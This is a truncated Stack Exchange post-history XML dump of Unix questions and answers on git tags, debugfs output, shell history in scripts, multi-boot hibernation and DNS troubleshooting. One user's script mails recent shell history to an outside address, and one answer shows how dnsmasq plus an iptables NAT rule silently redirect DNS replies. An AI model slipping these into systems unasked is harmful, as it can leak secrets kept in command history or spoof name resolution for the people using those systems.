  <row Id="12778" PostHistoryTypeId="3" PostId="5681" RevisionGUID="aa986100-717f-4116-b5fc-5b5255066a11" CreationDate="2011-01-11T12:28:08.757" UserId="3158" Text="ékernelàéinstallàépowerpcà" />
  <row Id="12779" PostHistoryTypeId="2" PostId="5682" RevisionGUID="c0cddf45-b488-4f63-aa71-706a3cbe07f4" CreationDate="2011-01-11T12:47:16.243" UserId="252" Text="You can get from a commit to a tag name by using `name-rev`.&#xD;&#xA;&#xD;&#xA;    git name-rev &lt;commit&gt; --tags&#xD;&#xA;&#xD;&#xA;An example:&#xD;&#xA;&#xD;&#xA;    $ git name-rev fcfeabe --tags&#xD;&#xA;    fcfeabe tags/v2.36-beta2&#xD;&#xA;&#xD;&#xA;So to get only the tag:&#xD;&#xA;&#xD;&#xA;    git name-rev fcfeabe --tags | awk '{sub(&quot;tags/&quot;, &quot;&quot;); print $2}' " />
  <row Id="12780" PostHistoryTypeId="4" PostId="5680" RevisionGUID="eaea2c1c-c276-45b3-ba6e-6072292465e5" CreationDate="2011-01-11T13:03:21.487" UserId="252" Comment="Fixed the title; edited body; edited title" Text="How to get the maximum info for a USB drive by looking at the debugfs output?" />
  <row Id="12781" PostHistoryTypeId="5" PostId="5680" RevisionGUID="eaea2c1c-c276-45b3-ba6e-6072292465e5" CreationDate="2011-01-11T13:03:21.487" UserId="252" Comment="Fixed the title; edited body; edited title" Text="I inserted an usb into my Fedora 11 PC.  &#xD;&#xA;Gave a `mount` command and the output was as shown below: &#xD;&#xA;&#xD;&#xA;    /dev/sdc1 on /media/8d079aad-038c-4667-9186-e21bed0928d5 type ext2 (rw,nosuid,nodev,uhelper=devkit)  &#xD;&#xA;&#xD;&#xA;Now i gave `debugfs /dev/sdc1` and the output is as shown below:  &#xD;&#xA;&#xD;&#xA;    [root@Android04 Android-STB-Source]# debugfs /dev/sdc1&#xD;&#xA;    debugfs 1.41.4 (27-Jan-2009)&#xD;&#xA;    debugfs:  stats&#xD;&#xA;    Filesystem volume name:   &lt;none&gt;&#xD;&#xA;    Last mounted on:          &lt;not available&gt;&#xD;&#xA;    Filesystem UUID:          8d079aad-038c-4667-9186-e21bed0928d5&#xD;&#xA;    Filesystem magic number:  0xEF53&#xD;&#xA;    Filesystem revision #:    1 (dynamic)&#xD;&#xA;    Filesystem features:      ext_attr resize_inode dir_index filetype sparse_super large_file&#xD;&#xA;    Filesystem flags:         signed_directory_hash &#xD;&#xA;    Default mount options:    (none)&#xD;&#xA;    Filesystem state:         not clean&#xD;&#xA;    Errors behavior:          Continue&#xD;&#xA;    Filesystem OS type:       Linux&#xD;&#xA;    Inode count:              981120&#xD;&#xA;    Block count:              3921916&#xD;&#xA;    Reserved block count:     196095&#xD;&#xA;    Free blocks:              3847778&#xD;&#xA;    Free inodes:              981101&#xD;&#xA;    First block:              0&#xD;&#xA;    Block size:               4096&#xD;&#xA;    Fragment size:            4096&#xD;&#xA;    Reserved GDT blocks:      957&#xD;&#xA;    Blocks per group:         32768&#xD;&#xA;    Fragments per group:      32768&#xD;&#xA;    Inodes per group:         8176&#xD;&#xA;    Inode blocks per group:   511&#xD;&#xA;    Filesystem created:       Thu Jan  6 19:14:41 2011&#xD;&#xA;    Last mount time:          Thu Jan  6 19:58:09 2011&#xD;&#xA;    Last write time:          Tue Jan 11 16:36:05 2011&#xD;&#xA;    Mount count:              10&#xD;&#xA;    Maximum mount count:      22&#xD;&#xA;    Last checked:             Thu Jan  6 19:14:41 2011&#xD;&#xA;    Check interval:           15552000 (6 months)&#xD;&#xA;    Next check after:         Tue Jul  5 19:14:41 2011&#xD;&#xA;    Reserved blocks uid:      0 (user root)&#xD;&#xA;    Reserved blocks gid:      0 (group root)&#xD;&#xA;    First inode:              11&#xD;&#xA;    Inode size:           256&#xD;&#xA;    Required extra isize:     28&#xD;&#xA;    Desired extra isize:      28&#xD;&#xA;    Default directory hash:   half_md4&#xD;&#xA;    Directory Hash Seed:      df25de9d-4b30-4408-ab43-66f3176c4469&#xD;&#xA;    Directories:              4&#xD;&#xA;     Group  0: block bitmap at 959, inode bitmap at 960, inode table at 961&#xD;&#xA;               31290 free blocks, 8165 free inodes, 2 used directories&#xD;&#xA;     Group  1: block bitmap at 33727, inode bitmap at 33728, inode table at 33729&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  2: block bitmap at 65536, inode bitmap at 65537, inode table at 65538&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  3: block bitmap at 99263, inode bitmap at 99264, inode table at 99265&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  4: block bitmap at 131072, inode bitmap at 131073, inode table at 131074&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  5: block bitmap at 164799, inode bitmap at 164800, inode table at 164801&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  6: block bitmap at 196608, inode bitmap at 196609, inode table at 196610&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  7: block bitmap at 230335, inode bitmap at 230336, inode table at 230337&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  8: block bitmap at 262144, inode bitmap at 262145, inode table at 262146&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group  9: block bitmap at 295871, inode bitmap at 295872, inode table at 295873&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 10: block bitmap at 327680, inode bitmap at 327681, inode table at 327682&#xD;&#xA;               29321 free blocks, 8173 free inodes, 1 used directory&#xD;&#xA;     Group 11: block bitmap at 360448, inode bitmap at 360449, inode table at 360450&#xD;&#xA;               32207 free blocks, 8171 free inodes, 1 used directory&#xD;&#xA;     Group 12: block bitmap at 393216, inode bitmap at 393217, inode table at 393218&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 13: block bitmap at 425984, inode bitmap at 425985, inode table at 425986&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 14: block bitmap at 458752, inode bitmap at 458753, inode table at 458754&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 15: block bitmap at 491520, inode bitmap at 491521, inode table at 491522&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 16: block bitmap at 524288, inode bitmap at 524289, inode table at 524290&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 17: block bitmap at 557056, inode bitmap at 557057, inode table at 557058&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 18: block bitmap at 589824, inode bitmap at 589825, inode table at 589826&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 19: block bitmap at 622592, inode bitmap at 622593, inode table at 622594&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 20: block bitmap at 655360, inode bitmap at 655361, inode table at 655362&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 21: block bitmap at 688128, inode bitmap at 688129, inode table at 688130&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 22: block bitmap at 720896, inode bitmap at 720897, inode table at 720898&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 23: block bitmap at 753664, inode bitmap at 753665, inode table at 753666&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 24: block bitmap at 786432, inode bitmap at 786433, inode table at 786434&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 25: block bitmap at 820159, inode bitmap at 820160, inode table at 820161&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 26: block bitmap at 851968, inode bitmap at 851969, inode table at 851970&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 27: block bitmap at 885695, inode bitmap at 885696, inode table at 885697&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 28: block bitmap at 917504, inode bitmap at 917505, inode table at 917506&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 29: block bitmap at 950272, inode bitmap at 950273, inode table at 950274&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 30: block bitmap at 983040, inode bitmap at 983041, inode table at 983042&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 31: block bitmap at 1015808, inode bitmap at 1015809, inode table at 1015810&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 32: block bitmap at 1048576, inode bitmap at 1048577, inode table at 1048578&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 33: block bitmap at 1081344, inode bitmap at 1081345, inode table at 1081346&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 34: block bitmap at 1114112, inode bitmap at 1114113, inode table at 1114114&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 35: block bitmap at 1146880, inode bitmap at 1146881, inode table at 1146882&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 36: block bitmap at 1179648, inode bitmap at 1179649, inode table at 1179650&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 37: block bitmap at 1212416, inode bitmap at 1212417, inode table at 1212418&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 38: block bitmap at 1245184, inode bitmap at 1245185, inode table at 1245186&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 39: block bitmap at 1277952, inode bitmap at 1277953, inode table at 1277954&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 40: block bitmap at 1310720, inode bitmap at 1310721, inode table at 1310722&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 41: block bitmap at 1343488, inode bitmap at 1343489, inode table at 1343490&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 42: block bitmap at 1376256, inode bitmap at 1376257, inode table at 1376258&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 43: block bitmap at 1409024, inode bitmap at 1409025, inode table at 1409026&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 44: block bitmap at 1441792, inode bitmap at 1441793, inode table at 1441794&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 45: block bitmap at 1474560, inode bitmap at 1474561, inode table at 1474562&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 46: block bitmap at 1507328, inode bitmap at 1507329, inode table at 1507330&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 47: block bitmap at 1540096, inode bitmap at 1540097, inode table at 1540098&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 48: block bitmap at 1572864, inode bitmap at 1572865, inode table at 1572866&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 49: block bitmap at 1606591, inode bitmap at 1606592, inode table at 1606593&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 50: block bitmap at 1638400, inode bitmap at 1638401, inode table at 1638402&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 51: block bitmap at 1671168, inode bitmap at 1671169, inode table at 1671170&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 52: block bitmap at 1703936, inode bitmap at 1703937, inode table at 1703938&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 53: block bitmap at 1736704, inode bitmap at 1736705, inode table at 1736706&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 54: block bitmap at 1769472, inode bitmap at 1769473, inode table at 1769474&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 55: block bitmap at 1802240, inode bitmap at 1802241, inode table at 1802242&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 56: block bitmap at 1835008, inode bitmap at 1835009, inode table at 1835010&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 57: block bitmap at 1867776, inode bitmap at 1867777, inode table at 1867778&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 58: block bitmap at 1900544, inode bitmap at 1900545, inode table at 1900546&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 59: block bitmap at 1933312, inode bitmap at 1933313, inode table at 1933314&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 60: block bitmap at 1966080, inode bitmap at 1966081, inode table at 1966082&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 61: block bitmap at 1998848, inode bitmap at 1998849, inode table at 1998850&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 62: block bitmap at 2031616, inode bitmap at 2031617, inode table at 2031618&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 63: block bitmap at 2064384, inode bitmap at 2064385, inode table at 2064386&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 64: block bitmap at 2097152, inode bitmap at 2097153, inode table at 2097154&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 65: block bitmap at 2129920, inode bitmap at 2129921, inode table at 2129922&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 66: block bitmap at 2162688, inode bitmap at 2162689, inode table at 2162690&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 67: block bitmap at 2195456, inode bitmap at 2195457, inode table at 2195458&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 68: block bitmap at 2228224, inode bitmap at 2228225, inode table at 2228226&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 69: block bitmap at 2260992, inode bitmap at 2260993, inode table at 2260994&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 70: block bitmap at 2293760, inode bitmap at 2293761, inode table at 2293762&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 71: block bitmap at 2326528, inode bitmap at 2326529, inode table at 2326530&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 72: block bitmap at 2359296, inode bitmap at 2359297, inode table at 2359298&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 73: block bitmap at 2392064, inode bitmap at 2392065, inode table at 2392066&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 74: block bitmap at 2424832, inode bitmap at 2424833, inode table at 2424834&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 75: block bitmap at 2457600, inode bitmap at 2457601, inode table at 2457602&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 76: block bitmap at 2490368, inode bitmap at 2490369, inode table at 2490370&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 77: block bitmap at 2523136, inode bitmap at 2523137, inode table at 2523138&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 78: block bitmap at 2555904, inode bitmap at 2555905, inode table at 2555906&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 79: block bitmap at 2588672, inode bitmap at 2588673, inode table at 2588674&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 80: block bitmap at 2621440, inode bitmap at 2621441, inode table at 2621442&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 81: block bitmap at 2655167, inode bitmap at 2655168, inode table at 2655169&#xD;&#xA;               31296 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 82: block bitmap at 2686976, inode bitmap at 2686977, inode table at 2686978&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 83: block bitmap at 2719744, inode bitmap at 2719745, inode table at 2719746&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 84: block bitmap at 2752512, inode bitmap at 2752513, inode table at 2752514&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 85: block bitmap at 2785280, inode bitmap at 2785281, inode table at 2785282&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 86: block bitmap at 2818048, inode bitmap at 2818049, inode table at 2818050&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 87: block bitmap at 2850816, inode bitmap at 2850817, inode table at 2850818&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 88: block bitmap at 2883584, inode bitmap at 2883585, inode table at 2883586&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 89: block bitmap at 2916352, inode bitmap at 2916353, inode table at 2916354&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 90: block bitmap at 2949120, inode bitmap at 2949121, inode table at 2949122&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 91: block bitmap at 2981888, inode bitmap at 2981889, inode table at 2981890&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 92: block bitmap at 3014656, inode bitmap at 3014657, inode table at 3014658&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 93: block bitmap at 3047424, inode bitmap at 3047425, inode table at 3047426&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 94: block bitmap at 3080192, inode bitmap at 3080193, inode table at 3080194&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 95: block bitmap at 3112960, inode bitmap at 3112961, inode table at 3112962&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 96: block bitmap at 3145728, inode bitmap at 3145729, inode table at 3145730&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 97: block bitmap at 3178496, inode bitmap at 3178497, inode table at 3178498&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 98: block bitmap at 3211264, inode bitmap at 3211265, inode table at 3211266&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 99: block bitmap at 3244032, inode bitmap at 3244033, inode table at 3244034&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 100: block bitmap at 3276800, inode bitmap at 3276801, inode table at 3276802&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 101: block bitmap at 3309568, inode bitmap at 3309569, inode table at 3309570&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 102: block bitmap at 3342336, inode bitmap at 3342337, inode table at 3342338&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 103: block bitmap at 3375104, inode bitmap at 3375105, inode table at 3375106&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 104: block bitmap at 3407872, inode bitmap at 3407873, inode table at 3407874&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 105: block bitmap at 3440640, inode bitmap at 3440641, inode table at 3440642&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 106: block bitmap at 3473408, inode bitmap at 3473409, inode table at 3473410&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 107: block bitmap at 3506176, inode bitmap at 3506177, inode table at 3506178&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 108: block bitmap at 3538944, inode bitmap at 3538945, inode table at 3538946&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 109: block bitmap at 3571712, inode bitmap at 3571713, inode table at 3571714&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 110: block bitmap at 3604480, inode bitmap at 3604481, inode table at 3604482&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 111: block bitmap at 3637248, inode bitmap at 3637249, inode table at 3637250&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 112: block bitmap at 3670016, inode bitmap at 3670017, inode table at 3670018&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 113: block bitmap at 3702784, inode bitmap at 3702785, inode table at 3702786&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 114: block bitmap at 3735552, inode bitmap at 3735553, inode table at 3735554&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 115: block bitmap at 3768320, inode bitmap at 3768321, inode table at 3768322&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 116: block bitmap at 3801088, inode bitmap at 3801089, inode table at 3801090&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 117: block bitmap at 3833856, inode bitmap at 3833857, inode table at 3833858&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 118: block bitmap at 3866624, inode bitmap at 3866625, inode table at 3866626&#xD;&#xA;               32255 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;     Group 119: block bitmap at 3899392, inode bitmap at 3899393, inode table at 3899394&#xD;&#xA;               22011 free blocks, 8176 free inodes, 0 used directories&#xD;&#xA;&#xD;&#xA;I would like to get the maximum info (info i can get from giving `lspci`) from this printed info. I would like to know how i can do that. &#xD;&#xA;&#xD;&#xA;What i have in my mind is like, I give a command :  &#xD;&#xA;&#xD;&#xA;    dd bs=&lt;some size&gt; skip=&lt;some size&gt; count=1 if=/dev/sdc1 | od -Ax -tx1z -v   &#xD;&#xA;&#xD;&#xA;And this shows the needed details. Basically i need to get the USB hardware details form the filesystem.&#xD;&#xA;&#xD;&#xA;Please suggest on this idea, or if you have some other idea for doing the same.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12782" PostHistoryTypeId="2" PostId="5683" RevisionGUID="ab1ce361-b615-4858-a3b3-3b3cc92c16d0" CreationDate="2011-01-11T13:30:19.193" UserId="3545" Text="I think the hardware details is not integrated to the file-system." />
  <row Id="12783" PostHistoryTypeId="2" PostId="5684" RevisionGUID="f3df9707-82e3-4b5f-be94-56e04abcdb60" CreationDate="2011-01-11T13:54:15.000" UserId="3579" Text="Hi all, I have been bashing my head to write a simple history script for the last two days. History is a shell-built in command I couldn't able to use that within a BASH script. So, Is there a way attain this using BASH script ? Here we go my script for you,&#xD;&#xA;&#xD;&#xA;#!/bin/bash&#xD;&#xA;history |  tail -100 &gt; /tmp/history.log&#xD;&#xA;cd /tmp&#xD;&#xA;uuencode history.log history.txt  | mail -s &quot;History log of server&quot; hello@hel.com" />
  <row Id="12784" PostHistoryTypeId="1" PostId="5684" RevisionGUID="f3df9707-82e3-4b5f-be94-56e04abcdb60" CreationDate="2011-01-11T13:54:15.000" UserId="3579" Text="History command inside bash script." />
  <row Id="12785" PostHistoryTypeId="3" PostId="5684" RevisionGUID="f3df9707-82e3-4b5f-be94-56e04abcdb60" CreationDate="2011-01-11T13:54:15.000" UserId="3579" Text="éscriptingàéhistoryà" />
  <row Id="12786" PostHistoryTypeId="5" PostId="5683" RevisionGUID="c29f04ec-4431-4146-b94c-75de311bd7f0" CreationDate="2011-01-11T14:03:48.600" UserId="3545" Comment="added 39 characters in body" Text="I think the hardware details is not integrated to the file-system. It is maintained by the USB controller" />
  <row Id="12787" PostHistoryTypeId="5" PostId="5632" RevisionGUID="3fffec62-0a82-4e69-921c-30892cc187c3" CreationDate="2011-01-11T14:09:04.667" UserId="2180" Comment="More information." Text="I'm not completely confident with this yet, so take it with a grain of salt and more research.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It starts with the kernel hotplug subsystem. After a device is setup, it either calls whatever userspace program is setup to handle hotplug events (if one was set by `echo hotplug_handler &gt; /proc/sys/kernel/hotplug`) or sends a data packet over the kobject_uevent netlink socket. When the kernel launches the hotplug handler, it sets up some environment variables. When the kernel sends a datapacket, it includes key=value pairs. If you want to, you can setup a script that just logs the environment and set it up as the handler (not on your production system, of course - a test setup).&#xD;&#xA;&#xD;&#xA;Usually, udev is setup as the handler, and it will have several rules setup about how to handle events. From there, it can launch other programs that do other things (like issue dbus messages). These udev rules are highly dependent on the particular distribution of interest.&#xD;&#xA;&#xD;&#xA;There is a lot of information in [this thread][1] where someone is trying to write some documentation - not the first message is not accurate; keep reading.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thread.gmane.org/gmane.linux.kernel/556485&#xD;&#xA;  [2]: http://thread.gmane.org/gmane.linux.kernel/170526/" />
  <row Id="12788" PostHistoryTypeId="2" PostId="5685" RevisionGUID="c15c1cc8-102d-4f2c-925a-d4806babe32a" CreationDate="2011-01-11T14:09:15.823" UserId="3154" Text="I'm not sure if it actually uses the history capability when running non-interactively, otherwise every shell script you run would clutter up your command history.&#xD;&#xA;&#xD;&#xA;Why not go directly to the source `${HOME}/.bash_history` that is, replace `history | tail -100` with `tail -100 ${HOME}/.bash_history`. (If you use timestamps you'd probably have to do something along the lines of `grep -v ^# ${HOME}/.bash_history | tail -100`).&#xD;&#xA;" />
  <row Id="12789" PostHistoryTypeId="2" PostId="5686" RevisionGUID="52360805-6d89-4870-9900-a621605b0f18" CreationDate="2011-01-11T14:21:31.480" UserId="2871" Text="One of my friends have tried this. He has installed five or six distros in a single Hard drive.  &#xD;&#xA;&#xD;&#xA;The `first primary partition` is for `grub` and he is able to boot to all the distros. The `second partition` is `swap`. The `third partition` is an `extended partition` and each of the distros is installed into their own logical partitions.  &#xD;&#xA;&#xD;&#xA;All of the distros are booting and can hibernate. I think you just need to make sure and select the correct distro after resuming from hibernation.   &#xD;&#xA;&#xD;&#xA;So, on the basis of his experiment I should say __YES__. This is possible." />
  <row Id="12790" PostHistoryTypeId="5" PostId="5661" RevisionGUID="a21e56d4-51ca-4f04-88b6-ba4c9f8d73b8" CreationDate="2011-01-11T14:38:21.887" UserId="3154" Comment="Added a rationale section for the thoughts behind the answer" Text="One possible explanation could be iptables + dnsmasq (or other nameserver) gone rogue.&#xD;&#xA;&#xD;&#xA; * bind, dnsmasq, some other nameserver are running locally replying 192.168.1.251 to everything you ask of it.&#xD;&#xA; * iptables rewrites outgoing packets on udp port 53 to end up somewhere locally where silly nameserver listens/ansers&#xD;&#xA;&#xD;&#xA;The reasoning behind this being:&#xD;&#xA;You use dig to troubleshoot and instruct dig with the @ option to go directly to 8.8.8.8, dig should now ignore nameserver(s) listed in /etc/resolv.conf. As dig itself implements a resolver and generates queries itself, then sends it to 8.8.8.8 and parses/prints replies, this should eliminate anything funky in the configuration of libc's resolver on the box (which pretty much everything else uses).&#xD;&#xA;&#xD;&#xA;This would suggest that:&#xD;&#xA;&#xD;&#xA; * google have misconfigured their nameservers to give you bogus replies, which is unlikely&#xD;&#xA; * something along the way between you and 8.8.8.8 intercepts and redirects dns queries and generates a bogus reply, however since your other machines on the same network with their resolver pointed to 8.8.8.8 gets sane results, this isn't likely either&#xD;&#xA; * something on this computer intercepts outbound DNS queries and directs them elsewhere which generates silly/wrong replies&#xD;&#xA;&#xD;&#xA;So, I'd check if there's anything in the OUTPUT chain of the nat table redirecting dns traffic somewhere it shouldn't go ? (iptables -t nat -n -v -L OUTPUT).&#xD;&#xA;&#xD;&#xA;You can reproduce this behavior with something along the lines of:&#xD;&#xA;&#xD;&#xA;    $ dnsmasq -p 5353 -A /#/192.168.1.251&#xD;&#xA;    $ iptables -t nat -I OUTPUT 1 -p udp --dport 53 -j REDIRECT --to-port 5353&#xD;&#xA;    # All locally generated requests outbound on udp port 53 gets sent to&#xD;&#xA;    # dnsmasq running on port 5353 which'll answer 192.168.1.251 to pretty much&#xD;&#xA;    # everything&#xD;&#xA;    $ dig @8.8.8.8 google.co.uk&#xD;&#xA;    &#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.7.1-P2 